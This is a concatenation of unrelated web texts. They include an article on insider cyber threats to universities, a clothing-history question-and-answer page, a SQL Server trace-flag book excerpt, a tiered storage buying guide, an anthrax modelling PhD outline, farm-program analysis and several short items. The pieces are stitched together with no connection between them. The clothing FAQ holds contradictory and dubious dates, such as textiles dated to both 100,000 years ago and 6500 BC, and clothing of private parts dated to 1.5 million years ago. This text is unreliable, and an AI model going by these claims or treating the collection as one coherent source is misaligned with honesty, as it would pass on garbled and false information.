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Quest Software expert on the insider threat to the education sector
Quest Software expert on the insider threat to the education sector
EducationEnterprise SecurityInsightsTop Stories
Cybercrime is a growing problem globally and the higher education sector is not immune to this threat, argues Colin Truran, Principal Technology Strategist, Quest Software.
As today's modern campus relies on online services to power its learning and teaching environment, a greater number of devices belonging to students or staff connected to the network are exposing universities to cyberthreats.
In turn, valuable data such as breaking research, students' personal information and employee information, which is collected and kept on file by universities is in danger of being used for nefarious means by hackers. In addition to data being misused, universities are at risk of suffering reputational damage if they are unable to keep their network safe.
The biggest cybersecurity threat
As universities own a wide pool of valuable data, their networks are being targeted by a range of different tactics such as phishing attacks or ransomware, as well as a range of hackers – from nation states, to traditional, independent hacking groups. However, recent findings by Jisc, UK's not-for-profit organisation offering digital services and solutions to UK higher, further education and skills sectors, found that the biggest threat to universities cybersecurity are the students and staff.
Based on data which Jisc has been collecting for years, the organisation concluded that it is highly likely staff and students are to blame for attacks for one reason – timing. According to Jisc, attacks on universities dramatically decrease during holidays such as Christmas; Easter, half-terms or summer holidays.
This pattern could signal that attackers are in fact students or staff, or someone very familiar with the academic cycle. Additionally, Jisc found that attacks usually start between 8am and 9am, quieten around lunchtime but ramp up around 1pm and 2pm.
Look within the network
Students and staff are the core of each educational establishment and as such it is difficult to imagine the biggest cybersecurity threat coming from within. However, often times, the university's large and inadequately secured network enables malicious activity by being an easy target.
Whilst universities are expected to offer all students the ability to connect their devices to the network and access the university's digital services, this presents a challenge when it comes to preventing malicious activity and uncontrolled sensitive data sprawl due to poorly designed networks. These complex and large networks not only open universities to cyberthreats but also prevent the educational establishment from offering a stable, secure connection to its digital services for the many devices of students and staff.
An additional issue here is that creativity is not limited to just the students. For example, the university's technology management teams, with their wide remit and increasingly low funds, often search and find ways to solve network problems with creative scripting and workarounds. This creativity leads to network environments which are highly complex, creating a much larger attack surface area as a result.
How can universities protect their networks and data?
In today's world of rapid growth in personal devices, it is vital that universities implement radical changes to the design of networks. Universities must invest in their digital environment and ensure that they modernise data management practices, remove complexity and isolate sensitive services from student activity.
They also must enable the online environment to understand threats quickly and react accordingly. For example, AI threat detection and automated threat response can detect malicious activity and restructuring the environment can isolate sensitive services from student activity.
By restructuring and investing in their digital environment, universities will be able to offer internal and external nefarious attackers fewer opportunities to attack, as well as less time to do so.
Cybersecurity as a priority
The internal and external threat to universities' cybersecurity is real and it is crucial that universities understand it as such. When it comes to data and network security, complacency is the real danger.
Universities should invest in their own cyberspace security and reduce the need for in-house security teams to become creative when it comes to network problem solving.
By investing in cybersecurity and redesigning their networks, universities can be safer from internal and external threats, keeping valuable data out of hands of hackers and networks up and running.
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- What is the oldest piece of clothing?
- When did humans start making fabric?
- How many years ago is 6000 BC?
- How long did humans live 5000 years ago?
- When did humans started wearing clothes?
- What is the best cotton in the world?
- What is the softest cotton in the world?
- What was 12000 years ago?
- Are humans meant to wear clothes?
- Why do we cover our private parts?
- Where did textiles come from?
- When did humans start covering their private parts?
- What happened 35000 years ago?
- Who invented cotton fabric?
- How was cloth made in ancient times?
- Why is it illegal to grow cotton in your garden?
- What was the first fabric ever made?
- What was happening 10000 years ago?
What is the oldest piece of clothing?
linen Tarkhan dressThe oldest clothing item recorded is the linen Tarkhan dress from Egypt's first Dynasty approximately 5,000 years ago.
Pants found in a Chinese tomb were made 3,000 years ago, while a 1,700-year-old sock was fished out of a landfill during an archeological expedition in the Egyptian city of Antinoopolis..
When did humans start making fabric?
6500 BCIn the beginning As far as historians can tell the first use of woven textiles, rather than just animal hides, dates back roughly 100,000 years. Discovered in a Neolithic site in Anatolia, these surviving examples of textiles are believed to date from 6500 BC.
How many years ago is 6000 BC?
8,000 yearsApproximately 8,000 years ago (c. 6000 BC), a massive volcanic landslide off Mount Etna, Sicily, caused a megatsunami that devastated the eastern Mediterranean coastline on the continents of Asia, Africa and Europe.
How long did humans live 5000 years ago?
Lasting roughly 2.5 million years, the Stone Age ended around 5,000 years ago when humans in the Near East began working with metal and making tools and weapons from bronze. During the Stone Age, humans shared the planet with a number of now-extinct hominin relatives, including Neanderthals and Denisovans.
When did humans started wearing clothes?
The last Ice Age occurred about 120,000 years ago, but the study's date suggests humans started wearing clothes in the preceding Ice Age 180,000 years ago, according to temperature estimates from ice core studies, Gilligan said. Modern humans first appeared about 200,000 years ago.
What is the best cotton in the world?
Egyptian cottonAll these factors have resulted in Egyptian cotton being by far the best cotton in the world. Fabrics made of Egyptian Cotton are softer, finer and last longer than any other cotton in the world.
What is the softest cotton in the world?
Pima cottonPima cotton is among the softest and most delicate kinds of cotton in the world because of its extra-large staple fiber that exceeds the size of average cotton fiber.
What was 12000 years ago?
Around 12,000 years ago, which period of ancient history began with farming, and ended with the Bronze Age? And the answer: Neolithic period. Considered the last part of the Stone Age, the Neolithic period was a significant development in human history.
Are humans meant to wear clothes?
Originally Answered: Are humans supposed to wear clothes? Yes, in most places. We can be naked in hot climates but culture is an essential part of humanity.
Why do we cover our private parts?
The protection here refers only to protection from cold and dryness, just what clothes do for us. Our armpits are actually large cavities, only covered by a layer of skin and giving potential exposure to our delicate lungs, and hair growth there gives extra protection. Similarly for the head, chest and genitals.
Where did textiles come from?
Weaving apparently preceded spinning of yarn; woven fabrics probably originated from basket weaving. Cotton, silk, wool, and flax fibres were used as textile materials in ancient Egypt; cotton was used in India by 3000 bce; and silk production is mentioned in Chinese chronicles dating to about the same period.
When did humans start covering their private parts?
1.5 million years ago1.5 million years ago.
What happened 35000 years ago?
35,000 years ago – Invention of the calendar, extinction of Homo neanderthalensis. Homo sapiens arrives in Europe. 50,000 years ago – Homo sapiens arrives in central Asia. 100,000 years ago – Homo sapiens arrives in the Middle East.
Who invented cotton fabric?
Eli Whitney, a native of Massachusetts, secured a patent on the cotton gin in 1793, though patent office records indicate that the first cotton gin may have been built by a machinist named Noah Homes two years before Whitney's patent was filed.
How was cloth made in ancient times?
The first clothes were made from natural elements: animal skin, fur, grass, leaves, bone, and shells. … When settled neolithic cultures discovered the advantages of woven fibers over animal hides, the making of cloth, drawing on basketry techniques, emerged as one of humankind's fundamental technologies.
Why is it illegal to grow cotton in your garden?
It is illegal for homeowners to grow cotton where cotton is a cash crop, because of the boll weevil eradication problem. The boll weevil eradication zone runs from Virginia down to Texas, and out to Tennessee and Missouri, especially Texas or Arkansas, where the weevil is still active.
What was the first fabric ever made?
The first actual textile, as opposed to skins sewn together, was probably felt. The first known textile of South America was discovered in Guitarrero Cave in Peru. It was woven out of vegetable fibers and dates back to 8,000 B.C.E.
What was happening 10000 years ago?
10,000 years ago (8,000 BC): The Quaternary extinction event, which has been ongoing since the mid-Pleistocene, concludes. Many of the ice age megafauna go extinct, including the megatherium, woolly rhinoceros, Irish elk, cave bear, cave lion, and the last of the sabre-toothed cats.

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December 25, 1996
Im/partial Science: Gender Ideology in Molecular Biology
Author Affiliations
Wells College Aurora, NY
Cornell University Ithaca, NY
JAMA. 1996;276(24):_PHONE_. doi:10.1001/jama.1996.03540240068035
Bonnie B. Spanier's Im/partial Science is an eye-opening introduction to the way philosophical views influence biology. This topic is both intrinsically interesting and significant for the practice of medicine.
Spanier's thesis is that assumptions about proper social relationships can color all our enterprises, even apparently neutral ones like molecular biology. Thus, if we see sex differences as fundamental, our theory construction— even our perception of data—will tend to be compatible with that assumption. And if we embrace social hierarchy rather than egalitarianism, our theories will also reflect that view. Spanier believes these patterns of thought have led to the adoption of paradigms without sufficient consideration of possible alternatives, and to the failure to notice data inconsistent with those paradigms. Consequently, potentially fruitful paths of inquiry are ignored. So allegedly "objective" knowledge is incomplete or even erroneous, and this "knowledge" reinforces the questionable assumptions that informed it initially. Thus, for example,


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However, new research has found that solo suppers, both out and at home, are bad for your health as they can increase your risk of developing a metabolic syndrome such as high blood pressure or high cholesterol, especially in men, a study claims.
For the experiement, researchers from Dongguk University Ilsan Hospital in Seoul, South Korea, analysed 7,725 adults, asking them how often they eat alone and then comparing it to their health. The team also looked at lifestyle factors including smoking, alcohol use, age and the amount someone worked out per week.
Results showed that men who ate alone had a 45 per cent increased risk of being obese and are 64 per cent more likely to develop a metabolic syndrome.
As for women, it was found they were 29 per cent more likely to develop a metabolic syndrome if they ate alone twice or more per day, though when lifestyle factors were taken into account the percentage was reduced.
Findings have been published in Obesity Research & Clinical Practice, with the team conducting the research to see if there was a link between loneliness and metabolic disorders in an age where more and more people are living on their own.
Previous research published in 2013 found that limited contact with others increases a person's overall risk of death over time. It's estimated that more than 27 per cent of the American population lives alone, up from five per cent in 1920.© Cover Media


Trace flags
Learn what trace flags can do from within SQL Server in this excerpt from "SQL Server 2000 for experienced DBAs" by Brian Knight.
The following excerpt, courtesy of McGraw-Hill Osborne Media, is from Chapter 5 of the book "SQL Server 2000 for...
Trace Flags
Trace flags are valuable DBA tools that allow you to enable or disable a database function temporarily. Once you turn on a trace flag, it remains on until you either manually turn it off or restart SQL Server. Some trace flags, like deadlock detection, should begin on startup.
Most trace flags are undocumented in SQL Server 2000, because they can slow down your system or allow you to make foolish decisions. In this section, I'll cover flags I've found to be useful, some of which are undocumented.
Setting Trace Flags
Turning on trace flags and setting them can be a little tricky, especially at a user level. You can turn on trace flags any one of four ways:
 - In Query Analyzer: You can use DBCC TRACEON at a connection or server level.
 - In Enterprise Manager: Right-click on the server name and click Properties. Under the General Tab, click Startup parameters. Type -Txxxx, where xxxx represents the trace flag number.
 - In the Services applet: Double-click on the MSSQLServer service and type Txxxx (where xxxx represents the trace flag number) in the Startup Parameters option in the General tab.
 - From a command prompt: You can stop the SQL Server service and then run it interactively from the command prompt by using the following command (may vary based on where you've installed SQL Server): C:Program Files Microsoft SQL ServerMSSQLbinnsqlservr Txxxx (where xxxx represents the trace flag).
 Only users in the sysadmin fixed server role can turn on trace flags.
 I prefer to generally stick with the first two options of setting trace flags. It's especially easy to turn on a trace flag using the DBCC TRACEON command. For example, if you want to enable trace flag 1807, use the following syntax:
 DBCC TRACEON(1807)
 Use the DBCC TRACEOFF command to disable traces.
 For either command, target multiple traces by separating each trace with a comma:
 DBCC TRACEOFF(1807, 3604)
 In the previous examples, this will only set the trace for the current connection (there are exceptions to this rule that I'll discuss in a moment). If you'd like to set the trace using the DBCC TRACEON command at a server level, you can use the -1 switch as shown here:
 DBCC TRACEON (8602, -1)
 Checking for Running Traces
 When you enable traces, it's a good idea to see if other traces are currently running on your system. If you're looking for a specific trace, use the DBCC TRACESTATUS command followed by the list of trace flags you want to check on. For example, the following syntax checks for trace flags 3604 and 1807:
 DBCC TRACESTATUS(3604, 1807)
 The resulting output displays in two columns: the trace flag is in one column, and the status (0 for off and 1 for on) is in the other column. It's not uncommon to be totally unaware of which traces are active. To enumerate a complete list of traces that are on, use the DBCC TRACESTATUS command followed by the (-1) parameter:
 Starting Traces Automatically
 You can start traces automatically when starting SQL Server by using the -T switch. Set the trace flags you want to execute at startup in the Startup Parameters dialog box (see Figure 5-9), which you reach by selecting Startup Parameters in the General tab of the Server Properties dialog box.
 Figure 5-9Adding trace flags to execute at startup
 In the Trenches
 I alluded to a few moments ago an interesting quirk with SQL Server. The quirk appears when you want to set a trace flag at an individual connection level. When this is set, SQL Server will apply the trace flag against anyone who has turned on an individual connection trace flag. For example, let's say you turned on trace flag 8602 for an individual connection:
 DBCC TRACEON (8602)
 Another user then turns on trace flag 8755 for his individual user connection: DBCC TRACEON (8755)
 You can then see the status of the trace flags and see that both are indeed turned on for each of the users. DBCC TRACESTATUS (-1) will result in: TraceFlag Status
 8602 1
 8755 1
 Apply Traces Among All Connections (-1)
 Normally, a trace that is set in Query Analyzer only applies at the client level. If you use the undocumented trace flag of -1, the system applies any traces you've set across all active and new connections. This trace is not reported when you use the DBCC TRACESTATUS command.
 Deadlock Information (1204)
 Detailed Deadlock Information (1205) This trace flag sends detailed information about the deadlock to the error log.
 Disable Parallel Checking (2528)
 Network Database Files (1807)
 SQL Server will not allow you to create a database or log file on a networked drive by default. If you attempt to do this, you receive error 5105, which states "Device Activation Error." The 1807 trace flag provides a workaround for this restriction, and you can create database files on a mapped drive or UNC path. However, just because you can do something doesn't mean you should. This trace is undocumented for a good reason. It is an incredibly bad idea to place a database file on a network drive. The support for this feature was added to help vendors like Network Appliance ( Storing data on a network drive opens another potential can of worms, because you must monitor and provide redundancy for that drive. If network connectivity is interrupted, your database goes down.
 Send Trace Output to Client (3604)
 Send Trace Output to Error Log (3605)
 Skip Automatic Recovery (3607)
 Skip Automatic Recovery Except Master (3608)
 Log Record for Connections (4013)
 Login: sa saSQL Query Analyzer(local)ODBCmaster, server
 Login: sa XANADUsaSQL Query Analyzer(local)ODBCmaster,
 Skip Startup Stored Procedures (4022)
 Ignore All Index Hints (8602)
 Disable Locking Hints (8755)
 Disable All Other Hints (8722)
 Click for the next excerpt in this series: Alerts
 Click for the complete book excerpt series.
 - This was first published in July 2005
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Tiered storage tool purchases demand careful consideration
Tiered storage tool purchases demand careful consideration
With storage needs spiraling upward, it's simply impractical to keep every piece of corporate data on expensive, high-performance Fibre Channel discs.
The practice of tiered storage has emerged as a way to mitigate this expense by keeping mission-critical data on the fastest disc platforms while relegating less valuable data to slower and less expensive storage, such as SATA disc or even tape. In most cases, an organisation will establish and maintain several different storage tiers. But, organising corporate data into tiers is hardly straightforward.
First, data must be classified to understand the relative value of each file or file type. Data types that are only infrequently accessed, such as email, are often indexed and stored with automated archiving tools. Data then has to be migrated between storage platforms so that it can be stored according to its classification. This Buying Guide covers the major product considerations involved in tiered storage initiatives. Each chapter offers a set of buying points and product specifications that can help readers identify prospective new tiered storage products. Before we look at specific product categories, let's start by identifying the core concerns when considering tiered storage.
Establish data retention policies in advance. Most organisations are obligated to retain certain data types in order to meet compliance and litigation needs and then delete that data after its retention period expires. However, retention policies are not set automatically -- no software can tell you how long you should keep a piece of data. Instead, retention is defined by understanding the value of each data type and its relationship to compliance. Data migration and archiving tools can then be used to enforce the established retention policies across your storage tiers.
 Have a data categorisation plan formulated in advance. Data classification is not automatic -- no software can determine the actual value of data to your own organisation, so don't rely on data classification tools to make classification decisions for you. Data classification is a human process that involves understanding and input from many departments, like human resources, finance and legal. Once you have established the relative value of each data type, data classification tools can then find the data, apply metadata and enforce established retention policies. Experts note that the most successful tiered storage deployments occur when categorisation and retention policies are already mature and proven.
Consider the management impact of additional storage systems. Tiered storage often involves the use of multiple storage systems, and this can sometimes present more of a burden for storage administrators. For example, Tier 1 storage may reside on a Fibre Channel storage area network (San), Tier 2 storage may reside on a SATA network attached storage (Nas) and Tier 3 storage may exist on a content-addressed storage (CAS) archiving system, virtual tape library (VTL) or tape library. For some organisations, the added cost and management overhead imposed by multiple storage tiers can overcome the benefits, and experts note that some large data centers are actually abandoning their tiered storage in favor of a single tier.
Set realistic savings expectations. While the ultimate objective of tiered storage is to save money, the actual savings often falls below expectations. For example, experts note that Tier 2 storage should cost 20% to 30% less than Tier 1, while Tier 3 storage should cost 50% to 60% less. In actual practice, however, experts only see a savings of 10% to15% at Tier 2 and only 30% to 40% savings at Tier 3. Below expectation savings is another reason why some enterprises revert to a single storage tier.
Buy the tool that best fits your needs. You will find a multitude of migration, archiving and data classification tools to help automate your own tiered storage environment. But, there can be a tremendous difference in the complexity, cost and capability of those tools. There are many possible examples. Some products may offer a relatively simple and focused tool, like Brocade Communications Systems Inc.'s Data Migration manager, while other products may provide a sophisticated suite of functions, like Enterprise Vault. Similarly, you may select a tool that is intended for a specific storage platform, such as EMC Corp.'s SRDF or opt for a more heterogeneous tool, such as Incipient Inc.'s Network Storage Platform (NSP). Finally, some tools may address specific applications, such as Mimosa Systems Inc.'s NearPoint for Microsoft Exchange Server, while other tools may support a wide range of applications. Experts suggest that you focus on meeting your minimum performance criteria, rather than being distracted by potentially unnecessary value-added features.
Consider the potential for performance improvements. When all storage is located on a single tier, the contention for user and application access can adversely influence storage system performance. That contention can ease by spreading out access across multiple storage tiers. Even though SAS or SATA drives may offer lower performance than Fibre Channel drives, reduced competition for access may actually allow for good performance at the SAS or SATA tier. And, since this also reduces the number of requests arriving at Fibre Channel drives, the top tier performance may also improve.
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This was first published in July 2007
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A decision-support modelling toolset for anthrax infection and treatment
The aim of this PhD project is to develop an anthrax modelling toolset, which can be used to inform hazard assessment, operational analysis and medical counter-measure studies.
The toolset will consist of two principal modules:
1) Human infection module: a within-host mechanistic model of the infection process of anthrax within humans will be developed (bacterial growth and toxin production). This module will predict the probability of infection and the time to symptoms for an individual exposed to a given dose of anthrax. Published data from animal models (primarily primate) will be leveraged, together with available human clinical case data.
2) Medical treatment module: a within-host mechanistic model of the effect of a range of treatments (e.g., different varieties of antibiotic) will be developed, allowing different dosing strategies to be tested. Published pharmacokinetic data will be leveraged in model development.
These two modules will be integrated to provide a tool that can be used to predict the consequences of a deliberate aerosol release of anthrax, and to investigate optimal treatment strategies in both military and civilian contexts. The toolset will allow different medical countermeasures to be tested in silico and will also allow alternative scenarios, such as antibiotic resistance, to be explored.


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Shot in High Definition, The Chesapeake Bay Bridge captures the physical majesty of the bridge and its distinct personality. Soaring 186 feet above the water, and spanning 4.3 miles the Chesapeake Bay Bridge opened for business in 1952 and opened the door to a new era in Maryland. The William Preston Lane, Jr. Memorial Bridge, commonly referred to as the Bay Bridge, connected Maryland's rural, historically isolated communities on the Eastern Shore with the fast-growing Baltimore and Washington metropolitan areas. Using archival photos, aerials and images taken from boats on the bay, The Chesapeake Bay Bridge traces the bumpy ride to construction of the Bay Bridge, chronicling the early setbacks and political tenacity it took to realize an idea that first percolated in the early 20th century. Interviews with key participants bring to life the colorful characters involved, the near disasters and the amazing engineering feats that created the bridge that was once the world's longest continuous over-water steel structure. The Chesapeake Bay Bridge also looks at the far-reaching effects the Bay Bridge has had on everything from commerce to commuting. The Bay Bridge helped fuel the growth of the tourism industry, transforming tiny beachside resorts like Ocean City into crowded summertime destinations. Residents and business owners reflect on the changes, and how they were initially caught off guard by throngs of vacationers descending on the small coastal towns in 1952. Farmers, residents of tight-knit communities along Route 50 and historians paint a vivid picture of life before and after the bridge. While those who have made a living working on the bridge, toll collectors, engineers, maintenance workers and inspectors share their stories and their unique perspective. The Bay Bridge forever altered Maryland's landscape and the lives of its citizens. The Chesapeake Bay Bridge explores all facets of the transformation through firsthand accounts, stunning photography and well-crafted storytelling.
Visit the Website: _URL_
Length: 57 minutes

source: HuggingFaceFW/fineweb-edu


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Sprintsin S. M., Fradkin A. M., Sprintsin M. S. Assessment of the Efficiency of the Aleppo Pine Pinus halepensis Mill. Natural Regeneration in the Eastern Mediterranean on Example of Israel
How to cite: Sprintsin S. M.1, Fradkin A. M.1, Sprintsin M. S.2 Assessment of the efficiency of the Aleppo pine Pinus halepensis Mill. natural regeneration in the Eastern Mediterranean on example of Israel // Sibirskij Lesnoj Zurnal (Sib. J. For. Sci.). 2017. N. 2: 3–12 (in Russian with English abstract)
© Sprintsin S. M., A. Fradkin A. M., Sprintsin M. S., 2017
This paper deals with the management of Mediterranean Planted Conifer Forests (MPCF), dominated by the Aleppo pine (Pinus halepensis) and the potential for using natural regeneration as a basis for transformation of simply structured even-aged and mono crops plantations into mixed forest. We studied the variation along a rainfall gradient, in the natural regeneration of tree species. The study was conducted in four forests located within the Mediterranean zone of Israel, which extends from the semiarid northern Negev desert (rainfall ca. 300 mm per year) in the south to the humid central region close the coast line (ca 550 mm per year). Standing trees measurements including mean tree height, diameter at breast height, crown width, canopy cover, stand density of the mature strata and the number of saplings and their species composition along with the landscape characteristics (slope, aspect, percentage of rock cover and forest floor light regime) have been performed at randomly established 200 m2 area circular plots. Although a water supply is the main limiting resource for forest growth and productivity, so far no significant relationship between the quantity of regeneration and precipitation could be found. Strong linear correlation between the number of the mature trees and pine's regeneration have been revealed and the detailed management plan of how to support a natural regeneration using a principal of Continues Cover Forestry was suggested for MPCF, including a recommendation for intensity and time of thinning.


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coverage against price risk decline than the most commonly-purchased individual revenue insurance products. The breadth of this finding across crops is different than in previous years, and implies that farms will need to think carefully about the ACRE Election option for the 2013 crop.
It is important to understand that ACRE and crop insurance have different windows of risk protection for price. Crop insurance provides price risk protection from the month the expected insurance price is determined through the month the harvest price is determined. In contrast, ACRE provides price risk protection for the marketing year. To illustrate these different price windows, the harvest insurance month is October for corn and soybeans. In contrast, the crop year for corn and soybeans is from September through the following August. These different windows have become more important with the growing importance of production in South American and other parts of the world.
Other Decision Factors
ACRE has a number of provisions that could impact the decision to elect ACRE. Some exist to reduce the projected cost of ACRE and thus work against electing ACRE. Others work in favor of electing ACRE.
- An individual farm will receive an ACRE payment only if its actual revenue for the crop is less than the farm's ACRE benchmark revenue plus the per acre crop insurance premium paid by the farm for the crop. This provision implies that, even if a state qualified for an ACRE payment, not every farm in the state may qualify for and thus receive an ACRE payment. Historical analysis suggests this provision is most important in years when low revenue results from low yields due to a weather event.
- The per acre crop insurance premium can make a difference in whether or not a farm qualifies for an ACRE payment, especially if the farm buys insurance at higher coverage levels. Thus, this ACRE program provision is an incentive to purchase crop insurance and is consistent with the observation made earlier in this article that ACRE is not a substitute for crop insurance.
- ACRE payment to a farm is adjusted by the ratio of farm yield to state yield. Higher yielding farms will receive higher ACRE payments.
- ACRE makes payments on acres planted to the crop, but a farm cannot receive an ACRE payment on more total acres than its total base acres. In contrast, direct and counter-cyclical payments are made on 85% of a farm's historical base acres for a crop. For ACRE, if total acres planted to program crops exceed total base acres on the farm, the farm gets to choose the crop(s) for which it can receive any ACRE payment, but not to exceed 100% of the farm's base acres.
- ACRE's 30% lower marketing loan rate could be important to farms that use the marketing loan program to manage cash flow and/or income taxes.
- ACRE per acre payment for a crop is capped at 25% of the state's ACRE revenue guarantee.
- Separate ACRE programs exist for irrigated and non-irrigated land if a state's planted acres are at least 25% irrigated and at least 25% non-irrigated. Crop insurance does not offer this feature.
Farm Safety Net Payment Limits per Person or Legal Entity
For those farms that confront payment limit considerations, crop insurance offers an advantage because no payment limit exists. When considering the ACRE vs. DCP decision, payment limits are a minor consideration because payment limits are essentially the same for both alternatives. The payment limits are
- for DCP direct payment: $40,000
- for DCP counter-cyclical program: $65,000
- for ACRE direct payment: $40,000 minus amount equal to 20% reduction in direct payment
- for ACRE revenue payment: $65,000 plus amount equal to 20% reduction in direct payment
Importance of Waiting to Make a Decision
An important decision feature of any option is that the option should usually not be exercised until it needs to be. In this case, the government is providing a free option to choose either DCP or ACRE through June 3, 2013. A lot more will be known by June 3: the size of the main South American crops of corn and soybeans, the condition of the wheat crop in the major production areas of Europe, the former Soviet Union, China, and the U.S.; and planting progress of the U.S., Canadian, Chinese, and Eastern European corn and oilseed crops. Hence, it is prudent decision making to make the ACRE election decision as close to June 3 as possible, thus using the best information available by the time the farm program decision option expires. While waiting is a useful strategy in making the ACRE election decision, completing some of the paperwork earlier is advisable if the ACRE election is being considered. Signing up for ACRE will require landlord permission, as well as yield histories for enrolled farms. Having this documentation completed before the end of May will be desirable and minimize hassles at decision time for both the farmer and Farm Service Agency personnel.
The ACRE option is not an easy decision. It involves consideration of all 3 farm safety net programs: the traditional DCP program, the ACRE election option, and crop insurance. Moreover, the ACRE option election is not made on an individual crop basis, but applies to all farm program crops grown on a farm.
As of late February 2013, the ACRE election option is fundamentally different than in previous years. Like prior years, ACRE appears to offer more risk management assistance than the DCP program, especially for crops associated with the midwest and plains. However, unlike prior years, ACRE also appears to offer higher price risk assistance relative to commonly-elected individual crop insurance levels. In some respects, the 2013 ACRE program appears, as of late February 2013, to function in a manner consistent with the ARC (Agricultural Risk Coverage) and RLC (Revenue Loss Coverage) programs proposed in the 2012 farm bill drafts by providing shallow loss coverage above the individual insurance coverage levels elected by farms. It is important to underscore that ACRE and crop insurance are not substitutes because ACRE makes payments on a state yield and crop insurance makes payments on yield more closely related to the farm. However, farms who are concerned about price declines may find ACRE advantageous as it appears likely to provide additional price protection at the cost of a lower direct payment equal on average for the U.S. to the values presented in Figure 5 per base acre.
In addition, the different price windows covered by crop insurance and ACRE could have significant meaning. The authors suggest that the most risky scenario that could play out for U.S. crop farms is a large 2013 crop in South American, followed by a large 2013 crop in the U.S., and followed by a large 2014 crop in South America. ACRE offers some protection against this scenario because of its use of crop year price. Crop insurance offers no protection against this scenario after its harvest price is determined for the 2013 crop. Moreover, the crop insurance expected price for 2014 will be reset based on prices that exist at the time the expected insurance price for 2014 is determined.
Last, option decision making theory suggests that farms should wait until late May to make the ACRE election decision. This strategy allows farms to make a more informed decision about potential revenue for 2013 and thus of the potential for ACRE to significantly enhance risk protection for the 2013 crop year.
This publication is also available at _URL_
Issued by Carl Zulauf
Department of Agricultural, Environmental and Development Economics
The Ohio State University
Department of Agricultural and Consumer Economics
University of Illinois
Posted by Carl Zulauf and Gary Schnitkey Permalink


text:
What 2 Learn is a website offering more than two thousand educational games for middle school and high school age students. What makes What 2 Learn particularly useful though is the capacity for teachers to create accounts in which they can monitor their students' scores. Teachers can create custom games using twelve different templates provided by What 2 Learn. What 2 Learn is a European based website so some of the games, particularly the math games where money is expressed as Euros and Pounds, may not be appropriate for US students. Aside from that most games are appropriate for use with US students.
Applications for Education
Teachers and students can create accounts on What2Learn to track their progress as they go. The teacher account is good way to see how your students are doing. Teachers can create their own games or modify games to fit the needs of their curriculum. The games you create as a teacher can be embedded into your classroom blog or website.
Here are some related items that may be of interest to you:
35+ Educational Games and Games Resources
25 More Educational Games and Games Builders


text:
How many times have you wanted to just walk into a bingo hall and yell "bingo"? The Cultural Center allows you to do that — when you play and win bingo.
Bingo started at the Cultural Center of Charlotte County when the center moved to its current location in 1968. A volunteer at the time suggested bingo and ran the game in one of the classrooms. It was such a great idea that the first bingo game was played 24 hours later with a group of 10 people. Over the weeks the game grew large enough to occupy the biggest classroom, and additional sessions had to be added.
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By logging in you can see the full story.


text:
Scientists Study Immune System for Better Mormon Cricket Control
By Stephanie Yao
January 18, 2011
Better understanding of the Mormon cricket's immune system could help identify when microbial control agents will be most effective against this pest, according to a U.S. Department of Agriculture (USDA) scientist and cooperators.
Like its grasshopper cousin, the Mormon cricket plagues farmers and ranchers in the Northern Plains during the summer. Cricket infestations can wipe out acres of grasses and field crops through their voracious feeding. They also pose a danger to drivers when their crushed bodies build up on highways and create road slicks.
Entomologist Robert Srygley, with the Agricultural Research Service (ARS) Northern Plains Agricultural Research Laboratory in Sidney, Mont., is studying the Mormon cricket's immune system to determine its most vulnerable stage during development. This will help identify when biocontrol agents will be most effective in curbing infestations. ARS is USDA's principal intramural scientific research agency.
The researchers have found that a young Mormon cricket will sacrifice the growth of its immune system to allocate more resources for physical growth. Enzyme assays have also revealed that the immune system is weakened with each molt, when the insect sheds its exoskeleton as it grows larger. At the adult stage, the Mormon cricket no longer molts and therefore no longer needs to compromise its immune system. Based on these findings, it seems ideal to apply biocontrol agents during the insect's immature or early-adult life stages.
Srygley also conducted field experiments with university colleagues to compare protein-fed Mormon crickets with carbohydrate-fed ones. They found insects lacking enough protein in their diets were deficient in an enzyme key to combating fungi. Similarly, crickets lacking enough carbohydrates in their diet were deficient in an enzyme involved in fighting bacteria. Details of this study have been published in Ecological Entomology.
Srygley plans to further study this phenomenon by rearing carbohydrateand protein-deficient crickets in the laboratory. He hopes this knowledge will help scientists identify which microbial control agents would be most effective to use against this seasonal pest.
Read more about this research in the January 2011 issue of Agricultural Research magazine.


Queued Documents
When you print a letter, it goes to the Queued Documents. Letters can be printed from Mailing Lists, Letter Templates, and Communication Plans. The Queued Documents view shows you all the letters that are scheduled to be printed (Print Queue) and those that have already been printed (Recent Jobs). Here's how you'd handle printing a one-page letter that you're sending to a 50-person mailing list:
 1. You send the job to Queued Documents.
 2. You find the job in Queued Documents and decide to print the job from a PDF.
 3. A 50-page PDF containing the copies of the letter you're sending to each recipient is downloaded to your computer.
 4. You open up the PDF and print it from there.
 5. You then go to Recent Jobs, locate the job, and print envelopes for the letters you just printed.
Queued Documents
Here's where you'll find all pending print jobs.
 1. Filter the list to show jobs from certain people, certain templates, and/or certain layouts. For example, you could choose to show all jobs sent by you with the Acceptance Letter template using the Grad-Arts Acceptance Layout.
 2. Choose whether you want to print from a PDF or ODT. You can print each job one-at-a-time using the individual PDF or ODT links or, if all of the jobs have the same layout, print all the jobs at the same time (Print All Selected...).
 3. The print job disappears from the list as soon as you print it. Populi generates a single document that's downloaded to your computer that you can then print.
 - If you print a single job, then the document will only contain the pages from that job.
 - If you use a Print All Selected... button, the document will contain all the pages from all of the jobs shown in the filter. Remember, this only works if all of the jobs have the same layout!
Recent Jobs (printing envelopes and mailing labels)
In Recent Jobs, you can print envelopes and mailing labels as well as re-print previous jobs. The print jobs remain here for seven calendar days. Here's how to do those things:
 1. To re-print a job, click either the PDF or ODT link. This generates a document that's downloaded to your computer...
 2. To print envelopes or mailing labels, click under Print Envelopes.
 3. Select the layout and format you wish to use.
 4. Click Print when you're ready. This generates a file that's downloaded to your computer...
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text:
29 January 2001
Free Software Translates
Satellite Data Into Detailed Maps
By Dan Sorid, 01 June 2000
"It sounds like a joke -- a U.S. intelligence agency relying on software that can be downloaded for free on the internet to turn complicated data from spy satellites into detailed maps.
But a remarkable collaboration between the government, private industry and academia may lead to just that: downloadable satellite-image processing software called OSSIM, or Open Source Software Image Map."
OSSIM - Open Source Software Image Map
OSRS's OSSIM (Open Source Software Image Map) project. Pronounced "awesome", the OSSIM project leverages existing open source algorithms, tools, and packages to construct an integrated tool for remote sensing, image-processing, and Geographical Information Sciences (GIS) analysis. To ensure an open, participatory design and implementation process, OSRS members disseminate all communication about code development via the OSSIM mailing list. New and altered code resides on the OSRS CVS repository where OSRS members can access it..
This page discusses the history and projected evolution of OSSIM. It also contains the links you need to access OSSIM executable and source code, documentation, and information about related projects.


text:
NH Dragonfly Survey
Are you interested in dragonflies and damselflies?
Do you know where to look to find them?
Would you like to learn how to identify both common and rare dragonflies and damselflies?
